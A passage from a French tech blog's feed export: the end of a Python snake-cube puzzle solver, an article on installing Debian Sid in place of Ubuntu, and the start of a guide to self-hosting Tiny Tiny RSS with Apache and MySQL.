        if vector.value &lt; 0:
            sign = -1
        else:
            sign = 1
        for i in xrange(sign * vector.value):
            self.cursor[vector.position] += sign
            self.__set_flag(self.cursor, True)

    def back(self):
        """Cancel the last move.

        Used for the recursivity, for avoiding to create a new flags volume for
        each recursivity step.
        """
        vector = self.path.pop()
        if vector.value &lt; 0:
            sign = -1
        else:
            sign = 1
        for i in xrange(sign * vector.value):
            self.__set_flag(self.cursor, False)
            self.cursor[vector.position] += -sign

    @staticmethod
    def __create_volume_flags(dimensions, index=0):
        """Create a multi-dimensional array filled with False values."""
        if index == len(dimensions) - 1:
            return [False] * dimensions[-1]
        return [VolumeHelper.__create_volume_flags(dimensions, index + 1)
                 for i in xrange(dimensions[index])]

    def __repr__(self):
        return repr(cube_flags)

class SymmetryHelper:

    """Symmetry helper for the solver.

    It manages equivalence classes for equivalent points and equivalent pathes
    by symmetry and/or rotation.

    As symmetries and rotations only concern permutation and inversion of
    vector components (positions), then equivalences classes concern
    dimensions.
    If x and z axis are equivalent (at a specific step), we could represent the
    equivalence classes like this: [[0, 2], [1]]. In that case, the solver
    would only try vectors on x axis, but will ignore z axis (because it is
    equivalent).
    Then, after a move, they are not equivalent anymore, then the equivalence
    classes could be represented by [[0], [1], [2]].

    But there is a far better representation for handling quickly the
    equivalence classes: a simple array, with the same length as dimensions.
    For each dimension i, the eq_classes array contains the lower index of an
    equivalent axis:
      - i if there is no axis with lower index which is equivalent;
      - j if there is an axis j with a lower index (the lowest) which is
        equivalent.
    For example, if x and z are equivalent, then eq_classes is [0, 1, 0].
    If y and z are equivalent, then eq_classes is [0, 1, 1].
    If x and y are equivalent, then eq_classes is [0, 0, 2].
    If x, y and z are equivalent, then eq_classes is [0, 0, 0].
    If none are equivalent, then eq_classes is [0, 1, 2].

    With this representation, we can easily pick only 1 vector per equivalence
    class (and ignore the others): the ones with eq_classes[i] == i.

    eq_classes_path stores the list of eq_classes used, to restore previous
    ones when calling back(). Equivalence classes at index i are always
    computed from the equivalence classes at index i-1 (except if i == 0),
    and are always "as or more splitted".
    """

    def __init__(self, dimensions):
        self.dimensions = dimensions
        # eq_classes is always eq_classes_path[-1]
        self.eq_classes = self.__create_eq_classes_from_dimensions()
        self.eq_classes_path = [self.eq_classes]

    def __create_eq_classes_from_dimensions(self):
        """Compute the first equivalences classes from the dimensions.

        The dimensions which have the same length are equivalent.
        """
        eq_classes = range(len(self.dimensions))
        for i in xrange(1, len(self.dimensions)):
            value = self.dimensions[i]
            for j in xrange(0, i):
                if self.dimensions[j] == value:
                    eq_classes[i] = j
                    break
        return eq_classes

    def set_cursor(self, cursor):
        """Change the initial cursor position."""
        # the first item in eq_classes_path is computed from the dimensions
        # the second item is computed from the init_point
        # the next items are computed from the next moves (vectors)
        assert len(self.eq_classes_path) == 1 or\
               len(self.eq_classes_path) == 2, 'Changing cursor cannot ' +\
               'happen in the middle of a path calculation'
        if len(self.eq_classes_path) == 2:
            # this is not the first initialisation, we have to remove the
            # eq_classes associated with the previous cursor
            self.eq_classes_path.pop()
        self.cursor = cursor

        # make a copy to not modify the previous one (must be immutable)
        cursor_eq_classes = self.eq_classes_path[0][:]
        for i in xrange(len(cursor_eq_classes)):
            # if the equivalence class must be splitted
            # i.e. the value for the axis has changed
            if cursor_eq_classes[i] != i and not self.__eq_cmp(
                    cursor[cursor_eq_classes[i]],\
                    cursor[i], self.dimensions[i]):
                old_class = cursor_eq_classes[i]
                cursor_eq_classes[i] = i
                # If eq_classes = [0, 0, 0], and we detected that the first
                # dimension is not equivalent anymore with the two others,
                # then the new eq_classes will be [0, 1, 1]:
                # we have to check the next dimensions to change their value
                for j in xrange(i + 1, len(cursor_eq_classes)):
                    if cursor_eq_classes[j] == old_class:
                        cursor_eq_classes[j] = i

        self.eq_classes = cursor_eq_classes
        self.eq_classes_path.append(cursor_eq_classes)
        # At this point, eq_classes_path contains two items:
        #   - the eq_class at index 0 computed only from the dimensions;
        #   - the eq_class at index 1 computed from the initial point
        #     (which splits the equivalence classes computed from the
        #     dimensions).

    def get_useful_points(self):
        """Returns one point from each equivalence class, not more.

        For example, if dimensions is [3, 3, 3], then useful points are
        [[0, 0, 0], [0, 0, 1], [0, 1, 1], [1, 1, 1]]
        which are, respectively:
        [a corner, an edge, a center, the core (middle of the cube)]
        All other points are equivalent to one point in this minimal set.
        """
        assert len(self.eq_classes_path) == 1, \
               'When computing useful points, there is only 1 eq_classes, ' +\
               'computed from the dimensions'
        # start with point 0
        for point in self.get_useful_points_rec(0, [0] * len(self.dimensions)):
            yield point

    def get_useful_points_rec(self, index, minimums):
        if index == len(self.dimensions):
            yield []
        else:
            eq_class = self.eq_classes[index]
            # We want to remove symmetry-or-rotation-equivalent-points.
            # The easiest way to achive this goal is to:
            #   - consider only one half of dimension length (+1);
            #   - always use sorted coordinates inside equivalence classes.
            #
            # For a dimension of length 3, we consider only the values 0 and 1.
            # For a dimension of length 4, we consider 0 and 1 too.
            # For a dimension of length 5, we consider 0, 1 and 2.
            #
            # Only use sorted coordinates avoid to check [0, 1] and [1, 0],
            # because they are equivalent. When building a vector, we keep a
            # "minimum" value (rather a "minimums" array, one minimum for each
            # equivalence class) to guarantee this condition.
            minimum = minimums[eq_class]
            # h is "head", t is "tail"
            for h in xrange(minimum, (self.dimensions[index] + 1) / 2):
                # change the minimum for deeper recursive calls
                minimums[eq_class] = h
                for t in self.get_useful_points_rec(index + 1, minimums):
                    yield [h] + t
            # restore the previous value
            minimums[eq_class] = minimum 

    def move(self, vector):
        """Compute the new equivalent classes after a move by the vector."""
        assert self.eq_classes[vector.position] == vector.position,\
               'A move must always concern the first vector of an ' +\
               'equivalence class'

        # create a copy of eq_classes only if it changes, else use the same
        # instance
        has_changes = False
        position = vector.position
        new_eq_classes = self.eq_classes
        new_eq_class = None
        # the axis is now alone in its equivalence class (the vector has moved
        # the cursor on this axis, but not on the others), we have to update
        # the others (if any)
        for i in xrange(position + 1, len(self.eq_classes)):
            if self.eq_classes[i] == position:
                if not has_changes:
                    has_changes = True
                    new_eq_classes = self.eq_classes[:]
                if new_eq_class is None:
                    new_eq_class = i
                new_eq_classes[i] = new_eq_class
        self.eq_classes = new_eq_classes
        self.eq_classes_path.append(new_eq_classes)

    def back(self):
        """Cancel the last move."""
        self.eq_classes_path.pop()
        self.eq_classes = self.eq_classes_path[-1]

    def must_explore(self, i):
        """Returns True if the vector position is the first in its equivalence
        class (the others will be ignored, because equivalents)"""
        return self.eq_classes[i] == i

    @staticmethod
    def __eq_cmp(p1, p2, dim):
        """Comparator which tests if two point are "equivalent" on an axis.

        Keyword arguments:
        p1 -- projection of the point 1 on the axis
        p2 -- projection of the point 2 on the axis
        dim -- length of dimension associated to the axis

        p1 and p2 are equivalent if and only if:
          -    v1 == v2 (they are at the same place)
          - or v1 + v2 + 1 = dim (they are symmetrically opposite)
        """
        return p1 == p2 or p1 + p2 + 1 == dim

class SnakeCubeSolver:

    """Solver."""

    def __init__(self, dimensions, structure):
        """Create a new solver.

        Keyword arguments:
        dimensions -- the dimensions of the target volume
                      (for example [3, 3, 3])
        structure -- the snake structure
        """
        self.dimensions = dimensions
        self.structure = structure
        self.volume_helper = VolumeHelper(dimensions)
        self.symmetry_helper = SymmetryHelper(dimensions)

    def solve(self):
        """Solve the snake.

        This function returns an iterator: the full list of solutions is not
        created."""

        # the structure length must exactly fill the target volume
        structure_length = sum(self.structure)
        needed_length = reduce(lambda x, y: x * y, self.dimensions) - 1
        if structure_length != needed_length:
            print 'Structure has not the right length (' +\
                  str(structure_length) + ' instead of ' +\
                  str(needed_length) + ')'
        else:
            for init_point in self.symmetry_helper.get_useful_points():
                # for each useful initial point (in a minimal set where no
                # points are equivalent to another)
                self.volume_helper.set_cursor(init_point)
                self.symmetry_helper.set_cursor(init_point)
                # recursively solve and yield the solutions
                for solution in self.__solve_rec(init_point[:], 0):
                    yield solution

    def __solve_rec(self, init_cursor, step):
        """Recursively solve.

        Keyword arguments:
        init_cursor -- starting point, only used to put it in found solutions
        step -- recursivity depth, index of current vector in snake structure
        """
        if step == len(self.structure):
            # a new solution is found, copy the path and yield the solution
            yield init_cursor, self.volume_helper.path[:]
        else:
            if len(self.volume_helper.path) == 0:
                # empty path, use an inexistant position (-1),
                # i != previous_position will always be True
                previous_position = -1
            else:
                previous_position = self.volume_helper.path[-1].position
            # get the vector norm for the current step
            norm = self.structure[step]
            # iterate over the next possible vectors, i.e. all vectors which
            # are orthogonal to the previous one

            for possible_vector in ( Vector(i, v)
                                     for v in [norm, -norm]
                                     for i in xrange(len(self.dimensions))
                                     if i != previous_position and
                                        self.symmetry_helper.must_explore(i)):
                if self.volume_helper.can_move(possible_vector):
                    # if it is possible to move the cursor by the vector, then
                    # move it
                    self.volume_helper.move(possible_vector)
                    # and recursively solve
                    self.symmetry_helper.move(possible_vector)
                    for solution in self.__solve_rec(init_cursor, step + 1):
                        yield solution
                    # cancel the move to put back the state of the helper
                    self.volume_helper.back()
                    self.symmetry_helper.back()

def main():
    solver = SnakeCubeSolver(VOLUME_DIMENSIONS, SNAKE_STRUCTURE)
    # print all solutions
    for solution in solver.solve():
        print solution

    # print the first solutions
#    max_solutions = 5
#    solutions = solver.solve()
#    for i in xrange(max_solutions):
#        try:
#            print solutions.next()
#        except StopIteration:
#            break
    exit(0)

if __name__ == "__main__":
    main()</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Installer Debian Sid</title>
		<link>http://blog.rom1v.com/2011/08/installer-debian-sid/</link>
		<comments>http://blog.rom1v.com/2011/08/installer-debian-sid/#comments</comments>
		<pubDate>Sun, 28 Aug 2011 18:04:31 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[chiffrement]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[gnome]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[nvidia]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=2862</guid>
		<description><![CDATA[Je viens de migrer mon PC principal vers Debian Sid (unstable), qui remplace Ubuntu, après 5 ans de bons et loyaux services. Il y a de nombreuses manières d&#8217;installer Debian, plusieurs versions, plein d&#8217;architectures… L&#8217;objectif de cet article est de décrire l&#8217;installation telle que je l&#8217;ai réalisée. Dans l&#8217;ordre&#160;: le téléchargement&#160;; la copie sur une [...]]]></description>
			<content:encoded><![CDATA[<p>Je viens de migrer mon PC principal vers <strong>Debian Sid</strong> (<em>unstable</em>), qui remplace <strong>Ubuntu</strong>, après 5 ans de bons et loyaux services.</p>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/08/debian.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/08/debian.png" alt="" title="debian" width="190" height="250" class="aligncenter size-full wp-image-2864" /></a></p>
<p>Il y a de nombreuses manières d&#8217;installer <em>Debian</em>, plusieurs versions, plein d&#8217;architectures…<br />
L&#8217;objectif de cet article est de décrire l&#8217;installation <em>telle que je l&#8217;ai réalisée</em>.</p>
<p>Dans l&#8217;ordre&nbsp;:</p>
<ul>
<li>le téléchargement&nbsp;;</li>
<li>la copie sur une clé USB&nbsp;;</li>
<li>l&#8217;installation directe de <em>Sid</em> à partir de la clé USB&nbsp;;</li>
<li>la conservation du <a href="http://blog.rom1v.com/2010/05/chiffrer-son-dossier-personnel-home-sous-ubuntu/"><em>home</em> chiffré mis en place par <em>Ubuntu</em></a>&nbsp;;</li>
<li>l&#8217;installation des pilotes <em>NVIDIA</em> et WiFi…</li>
</ul>
<p><em>Bien sûr, avant tout, faites des sauvegardes de toutes vos données importantes. Cet avertissement est sûrement inutile, j&#8217;imagine que vous faites, comme tout le monde, plusieurs backups par semaine… <img src='http://blog.rom1v.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </em></p>
<h3>Téléchargement</h3>
<p>Sur la <a href="http://www.debian.org/">page d&#8217;accueil de Debian</a>, dans <em>&laquo;&nbsp;Obtenir Debian&nbsp;&raquo;</em>, c&#8217;est la version <em>stable</em>.<br />
Ce qui nous intéresse, c&#8217;est la version <em>testing</em>, à partir de laquelle on peut passer en <em>unstable</em> dès l&#8217;installation. Celle-ci est disponible dans <em>&laquo;&nbsp;Le coin du développeur&nbsp;&raquo;</em>, <a href="http://www.debian.org/devel/debian-installer/">Installateur de Debian</a>.</p>
<p>Ici, il faut regarder la partie <em>&laquo;&nbsp;images de CD d&#8217;installation par le réseau (en général 135 à 175 Mo) et au format carte de visite (en général 20 à 50 Mo)&nbsp;&raquo;</em>, et cliquer sur l&#8217;architecture souhaitée. Typiquement, il faut prendre <a href="http://cdimage.debian.org/cdimage/daily-builds/daily/arch-latest/amd64/iso-cd/">amd64</a> pour du 64 bits et <a href="http://cdimage.debian.org/cdimage/daily-builds/daily/arch-latest/i386/iso-cd/">i386</a> pour du 32 bits.</p>
<p>Choisir l&#8217;image <em>businesscard</em> (la plus petite). Pour moi&nbsp;: <a href="http://cdimage.debian.org/cdimage/daily-builds/daily/arch-latest/amd64/iso-cd/debian-testing-amd64-businesscard.iso">debian-testing-amd64-businesscard.iso</a>.</p>
<h3>Clé USB</h3>
<h4>Connaître l&#8217;emplacement</h4>
<p>Nous avons besoin de connaître l&#8217;emplacement de la clé, sous la forme <code>/dev/sd<em>X</em></code>.<br />
Une méthode parmi d&#8217;autres est de consulter <code>/var/log/syslog</code> lors du branchement&nbsp;: insérer la clé USB et exécuter&nbsp;:</p>
<pre>tail /var/log/syslog</pre>
<p>Vous devriez obtenir plusieurs lignes qui ressemblent à ceci&nbsp;:</p>
<pre>Aug 28 00:54:27 rom-laptop kernel: [ 1868.930100] sd 4:0:0:0: [sdb] 2015232 512-byte logical blocks: (1.03 GB/984 MiB)</pre>
<p>Sur cet exemple, nous voyons <em>[sdb]</em>, nous en concluons que l&#8217;emplacement de la clé est <code>/dev/sdb</code>.</p>
<p>Alternativement, si la clé est montée, il est possible d&#8217;obtenir cet emplacement dans le résultat de&nbsp;:</p>
<pre>df -h</pre>
<p><em><strong>Ne vous trompez surtout pas d&#8217;emplacement, vous risqueriez d&#8217;écraser toutes les données de votre disque dur&nbsp;!</strong></em></p>
<h4>Préparer</h4>
<p>Si vous avez une clé réservée pour vos installations de systèmes d&#8217;exploitation (sans données à conserver), je vous conseille la méthode la plus simple, qui écrase tout ce qu&#8217;il y a sur la clé (<a href="http://www.debian.org/releases/stable/amd64/ch04s03.html.fr#usb-copy-isohybrid">4.3.1</a>)&nbsp;:</p>
<pre>$ sudo -s
# cat debian-testing-amd64-businesscard.iso > /dev/sdb
# sync</pre>
<p>Ensuite, il faut redémarrer, et configurer le BIOS pour qu&#8217;il boote sur clé USB (souvent, les clés USB sont reconnues comme un disque dur, il faut donc régler la priorité entre les disques durs).</p>
<h3>Installation</h3>
<p>Pour l&#8217;installation, l&#8217;ordinateur doit être connecté à Internet par un câble Ethernet.</p>
<p>L&#8217;ordinateur boote sur la clé USB, et affiche un menu d&#8217;installation de <em>Debian</em>. Sélectionner <em>&laquo;&nbsp;Advanced Options&nbsp;&raquo;</em>.<br />
Ici, il est possible changer l&#8217;environnement de bureau (<em>Gnome</em>, <em>KDE</em>, <em>XFCE</em>…). Par défaut, c&#8217;est <em>Gnome</em>.<br />
Ensuite, sélectionner <em>&laquo;&nbsp;Expert Install&nbsp;&raquo;</em> pour lancer l&#8217;installation (afin de pouvoir choisir <em>sid/unstable</em> au lieu de <em>testing</em> dès l&#8217;installation).</p>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/08/debian-installer.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/08/debian-installer-300x225.png" alt="" title="debian-installer" width="300" height="225" class="aligncenter size-medium wp-image-2898" /></a></p>
<p>Lors de l&#8217;étape de partitionnement, dans l&#8217;hypothèse où le disque dur utilise une partition séparée pour le <code>home</code>, ne pas oublier de configurer les points de montage (<code>/</code> et <code>/home</code>), et ne pas formater <code>/home</code> (pour conserver les données personnelles).</p>
<p>Utiliser le même nom d&#8217;utilisateur et mot de passe que celui d&#8217;<em>Ubuntu</em> (c&#8217;est important pour accéder au répertoire <em>home</em> chiffré).</p>
<p>Je ne détaille pas les autres étapes d&#8217;installation, il suffit de lire.</p>
<h3>Déchiffrer le home</h3>
<p>Une fois l&#8217;installation terminée et le système démarré, il n&#8217;est pas possible de se connecter graphiquement avec le compte utilisateur, car le <em>home</em> est chiffré et par défaut, <em>eCryptFS</em> n&#8217;est pas installé. Il faut donc l&#8217;installer.</p>
<p>Pour cela, ouvrir un TTY (<em>Ctrl+Alt+F1</em>), se connecter en <code>root</code> (ou avec le compte utilisateur si vous avez interdit la connexion de <code>root</code>, dans ce cas utiliser <code>sudo</code>), puis installer <code>ecryptfs-utils</code>&nbsp;:</p>
<pre>apt-get install ecryptfs-utils</pre>
<p>Si lors de l&#8217;installation vous n&#8217;avez pas choisi le même mot de passe que sur <em>Ubuntu</em>, profitez-en pour le rétablir&nbsp;:</p>
<pre>passwd monlogin</pre>
<p>Maintenant, il est possible de se connecter graphiquement, en retournant dans le TTY graphique (<em>Ctrl+Alt+F7</em>).</p>
<h3>Gestionnaire de composite</h3>
<p>Pour moi, il est indispensable d&#8217;utiliser un <a href="http://doc.ubuntu-fr.org/tutoriel/composite">gestionnaire de composite</a>. Pour au moins 3 raisons&nbsp;:</p>
<ul>
<li>éviter les trainées lors du déplacement de fenêtres&nbsp;;</li>
<li>activer les ombres sous les fenêtres (très important pour le confort visuel)&nbsp;;</li>
<li>les performances…</li>
</ul>
<p>Par défaut, <em>Metacity</em> (le gestionnaire de fenêtres de <em>Gnome</em>) n&#8217;en utilise pas. C&#8217;est la raison pour laquelle <em>Compiz</em> se révèle souvent indispensable.<br />
Cependant, je viens de découvrir que <em>Metacity</em> savait gérer le <em>compositing</em>, grâce à une option bien cachée. Pour l&#8217;activer&nbsp;:</p>
<pre>gconftool-2 -s -t boolean /apps/metacity/general/compositing_manager true</pre>
<p>Il est également possible d&#8217;utiliser <code>gconf-editor</code>&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2011/08/gconf-editor-compositing-manager.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/08/gconf-editor-compositing-manager-300x206.png" alt="" title="gconf-editor-compositing-manager" width="300" height="206" class="aligncenter size-medium wp-image-2878" /></a></p>
<p>Il n&#8217;est pas configurable, et ne permet pas de faire tout ce que fait <em>Compiz</em>, mais pour moi c&#8217;est suffisant.</p>
<h3>Pilotes NVIDIA</h3>
<p>J&#8217;ai la malchance d&#8217;avoir une carte graphique <em>NVIDIA</em>, qui nécessite dans certains cas d&#8217;avoir recours à des pilotes privateurs. Sans eux, impossible de faire fonctionner <em>Compiz</em> ni certains jeux.</p>
<p>Cependant, le pilote libre <em>Nouveau</em> (installé par défaut) est assez impressionnant par rapport à l&#8217;ancien (<em>nv</em>). Et même s&#8217;il ne permet pas de démarrer <em>Compiz</em>, il supporte le <em>compositing</em> de <em>Metacity</em> avec de bonnes performances.</p>
<p><ins datetime="2011-10-28T00:00:00+01:00">En installant le paquet <code>libgl1-mesa-dri-experimental</code>, le pilote Nouveau<em> sait faire fonctionner </em>Compiz<em> et surtout </em>Gnome-Shell<em>. Il faut simplement prendre soin d&#8217;avoir supprimé toute trace éventuelle du pilote propriétaire&nbsp;:</em></ins></p>
<pre>apt-get remove nvidia-*</pre>
<p>Pour néanmoins installer les pilotes privateurs (les dépôts <code>non-free</code> doivent être activés)&nbsp;:</p>
<pre>apt-get install nvidia-kernel-dkms nvidia-xconfig nvidia-settings &#038;&#038; nvidia-xconfig</pre>
<p><em>(Remplacez <code>nvidia-kernel-dkms</code> par <code>nvidia-kernel-legacy-<em>VERSION</em>-dkms</code> pour une carte graphique nécessitant <a href="http://wiki.debian.org/NvidiaGraphicsDrivers#Choose_a_driver_version">des pilotes plus anciens</a>.)</em></p>
<p>Puis rebooter.</p>
<h3>Pilotes WiFi</h3>
<p>J&#8217;ai également dû installer des pilotes pour ma carte WiFi&nbsp;:</p>
<pre>$ lspci | grep Network
03:00.0 Network controller: Intel Corporation WiFi Link 5100</pre>
<p>Il suffit d&#8217;installer le paquet non-libre <code>firmware-iwlwifi</code>&nbsp;:</p>
<pre>apt-get install firmware-iwlwifi</pre>
<p><em>Il y a plusieurs paquets en <code>firmware-<em>quelquechose</em></code>, selon votre matériel.</em></p>
<h3>Agencement du clavier</h3>
<p>Avec la version actuelle, <em>Debian Sid</em> installe par défaut l&#8217;agencement du clavier <em>&laquo;&nbsp;France (Obsolète) Autre&nbsp;&raquo;</em> au lieu de <em>&laquo;&nbsp;France Autre&nbsp;&raquo;</em>. Je vous conseille de le changer dans <em>Système → Préférences → Clavier → Agencements</em>, sinon vous risquez d&#8217;avoir des surprises (notamment si vous utilisez des <a href="http://fr.wikipedia.org/wiki/Tube_%28shell%29">pipes</a> dans un terminal)…<br />
<em><strong>EDIT&nbsp;:</strong> Cela ne suffit pas, pour que le réglage soit conservé, il faut en fait le changer dans GDM (l&#8217;écran de connexion), une liste déroulante en bas permet de changer la disposition du clavier.</em></p>
<h3>Conclusion</h3>
<p>Avant la migration, j&#8217;avais un peu peur pour la conservation du <em>home</em> chiffré… Mais finalement, aucun souci.</p>
<p>Par rapport à <em>Ubuntu</em>, j&#8217;apprécie beaucoup d&#8217;avoir des versions plus à jour des logiciels sans passer par des PPA. Et aussi d&#8217;avoir plus de logiciels dans les dépôts par défaut (<code>pino</code> par exemple). L&#8217;installation est cependant un peu moins simple qu&#8217;<em>Ubuntu</em> (il faut avouer qu&#8217;il est difficile de faire plus simple).</p>
<p>Pour finir, voici une capture d&#8217;écran juste après l&#8217;installation (avec, comme le veut la tradition, un terminal ouvert)&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2011/08/debian-screenshot.jpg"><img src="http://blog.rom1v.com/wp-content/uploads/2011/08/debian-screenshot-300x187.jpg" alt="" title="debian-screenshot" width="300" height="187" class="aligncenter size-medium wp-image-2906" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/08/installer-debian-sid/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Tiny Tiny RSS : auto-hébergement des flux RSS</title>
		<link>http://blog.rom1v.com/2011/06/tiny-tiny-rss-auto-hebergement-des-flux-rss/</link>
		<comments>http://blog.rom1v.com/2011/06/tiny-tiny-rss-auto-hebergement-des-flux-rss/#comments</comments>
		<pubDate>Tue, 14 Jun 2011 12:11:41 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[auto-hébergement]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[réseau]]></category>
		<category><![CDATA[rss]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=2592</guid>
		<description><![CDATA[Je vais expliquer dans ce billet pourquoi et comment installer Tiny Tiny RSS, un gestionnaire de flux RSS sur son serveur. Motivations Pourquoi un serveur ? Il existe de nombreux clients d&#8217;agrégateurs de flux, tels que Liferea sous Gnome ou NewsFox dans Firefox. Cependant, un tel client pose principalement deux problèmes. Le premier, c&#8217;est le [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/06/rss.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/06/rss-150x150.png" alt="" title="rss" width="150" height="150" class="alignright size-thumbnail wp-image-2603" /></a><br />
Je vais expliquer dans ce billet pourquoi et comment installer <a href="http://tt-rss.org/">Tiny Tiny RSS</a>, un gestionnaire de <a href="http://fr.wikipedia.org/wiki/Flux_RSS">flux RSS</a> sur son serveur.</p>
<h3>Motivations</h3>
<h4>Pourquoi un serveur ?</h4>
<p>Il existe de nombreux clients d&#8217;agrégateurs de flux, tels que <a href="http://liferea.sourceforge.net/">Liferea</a> sous <em>Gnome</em> ou <a href="http://blog.rom1v.com/2008/12/newsfox-plug-in-firefox-agregateur-de-flux-rss/">NewsFox</a> dans <em>Firefox</em>.</p>
<p>Cependant, un tel client pose principalement <strong>deux problèmes</strong>.</p>
<ul>
<li>Le premier, c&#8217;est <strong>le temps d&#8217;attente de mise à jour des flux</strong>. Lors du démarrage, les flux ne sont pas disponibles immédiatement&nbsp;: il faut patienter le temps qu&#8217;il mette à jour chacun des flux auxquels nous sommes abonnés, ce qui peux prendre plusieurs minutes.</li>
<li>Le second, c&#8217;est <strong>la synchronisation</strong>&nbsp;: nous ne pouvons pas lire nos flux à plusieurs endroits (maison, travail, mobile…) en gardant la synchronisation (les flux que nous avons lu sont marqués comme lus sur un ordinateur, mais pas sur un autre).</li>
</ul>
<p>Un gestionnaire de flux doit donc, d&#8217;après moi, forcément être <strong>hébergé sur un serveur</strong>.</p>
<h4>Pourquoi son serveur ?</h4>
<p>De nombreux services en ligne proposent la gestion de  flux RSS (<em>Google Reader</em>, <em>NetVibes</em>, etc.).</p>
<p><strong>Pourquoi donc héberger un tel service sur son propre serveur&nbsp;?</strong></p>
<ul>
<li><strong>Par principe.</strong> Comme pour le <a href="http://blog.rom1v.com/2009/01/nouveau-blog-100-libre/">blog</a> ou les <a href="http://blog.rom1v.com/2009/08/hebergez-vos-mails-sur-ubuntu-server-et-liberez-vous/">mails</a>, autant auto-héberger son propre contenu, qui n&#8217;a rien à faire ailleurs.</li>
<li><strong>Filtrage en entreprise.</strong> Les agrégateurs de flux connus sont souvent bloqués par les proxies d&#8217;entreprise. Un service perso sur son propre serveur aura beaucoup moins de risque d&#8217;être filtré.</li>
<li><strong>Données personnelles.</strong> Les flux auxquels chacun est abonné et les articles lus sont une information importante pour quiconque souhaite renseigner un profil d&#8217;utilisateur. Par exemple, pour <a href="http://www.internetactu.net/2011/06/13/le-risque-de-lindividualisation-de-linternet/">modifier les résultats d&#8217;un moteur de recherche</a> (ou bien d&#8217;autres choses).</li>
<li><strong>Censure.</strong> Les flux RSS peuvent être une source d&#8217;information essentielle (c&#8217;est ma source d&#8217;information principale). Si nous en laissons la gestion à un hébergeur, comment nous assurer qu&#8217;il ne supprimera pas des flux les informations qui le dérangent&nbsp;? Par exemple, s&#8217;il décide malencontreusement de supprimer tous les articles qui parlent de <em>Wikileaks</em>&nbsp;? Je sais que ce n&#8217;est pas imaginable dans un pays démocratique.<br />
Mais regardons quand même (au hasard) l&#8217;exemple de <em>Google</em>, qui <a href="http://www.numerama.com/magazine/18993-google-etend-l-auto-censure-de-son-moteur-de-recherche.html">continue d&#8217;étendre l&#8217;auto-censure de son moteur de recherche</a>, dans un pays exerçant des <a href="http://www.numerama.com/magazine/17507-amazon-n-heberge-plus-wikileaks-apres-des-pressions-politiques-et-commerciales.html">pressions politiques et commerciales</a> pour retirer des contenus dérangeants hors de toute décision judiciaire (parfois en <a href="http://www.numerama.com/magazine/17519-wikileaks-inaccessible-apres-la-perte-de-son-dns.html">supprimant des entrées DNS</a>, même pour <a href="http://www.numerama.com/magazine/17946-rojadirecta-juge-legal-en-espagne-saisi-par-les-usa-maj.html">un contenu légal dans le pays concerné</a>), pressions auxquelles <a href="http://www.pcinpact.com/actu/news/60765-twitter-paypal-blocage-julian-assange.htm">peu d&#8217;entreprises résistent</a>, y compris lorsqu&#8217;il s&#8217;agit d&#8217;<a href="http://www.pcinpact.com/actu/news/61265-wikileaks-twitter-injonction-cablegate-notification.htm">obtenir des informations politiques</a>… et ils ne <a href="http://www.pcinpact.com/actu/news/64023-pipa-protect-ip-act-us.htm">comptent pas s&#8217;arrêter en si bon chemin</a>, pour lutter contre ce qu&#8217;ils appellent &laquo;&nbsp;piratage&nbsp;&raquo;. Mais non, censurer certains flux pour des raisons politiques est inimaginable dans un pays démocratique.</li>
</ul>
<h3>Installation</h3>
<p>Je vais expliquer l&#8217;installation de <em>Tiny Tiny RSS</em> pour ma configuration, à savoir <em>Ubuntu Server 11.04</em>, avec <em>Apache</em> et <em>MySQL</em>.<br />
Je vais l&#8217;installer dans <code>~/flux</code> (le répertoire <code>flux</code> de mon home), avec un lien symbolique <code>/var/www/flux</code>. L&#8217;application sera accessible à partir de <code>flux.rom1v.com</code>. Adaptez ces valeurs selon vos besoins.</p>
<h4>Dépendances</h4>
<p><em>Tiny Tiny RSS</em> a besoin de <code>php5-curl</code>&nbsp;:</p>
<pre>sudo apt-get install php5-curl</pre>
<h4>Téléchargement</h4>
<p>Télécharger la dernière version en bas de <a href="http://tt-rss.org/redmine/">la page officielle</a> (actuellement la 1.5.4).</p>
<p>Extraire l&#8217;archive dans <code>~/</code>&nbsp;:</p>
<pre>tar xzf tt-rss-1.5.4.tar.gz</pre>
<p>Et renommer le répertoire&nbsp;:</p>
<pre>mv tt-rss-1.5.4 flux</pre>
<h4>Base de données</h4>
<p>Il faut ensuite initialiser la base de données, grâce aux scripts fournis. Pour cela, aller dans le répertoire des scripts&nbsp;:</p>
<pre>cd flux/schema</pre>
<p>Puis se connecter à <em>MySQL</em>&nbsp;:</p>
<pre>$ mysql -uroot -p
Enter password:</pre>
<p>Une fois connecté, créer la base de données <code>flux</code>&nbsp;:</p>
<pre>mysql> CREATE DATABASE flux;
Query OK, 1 row affected (0,00 sec)</pre>
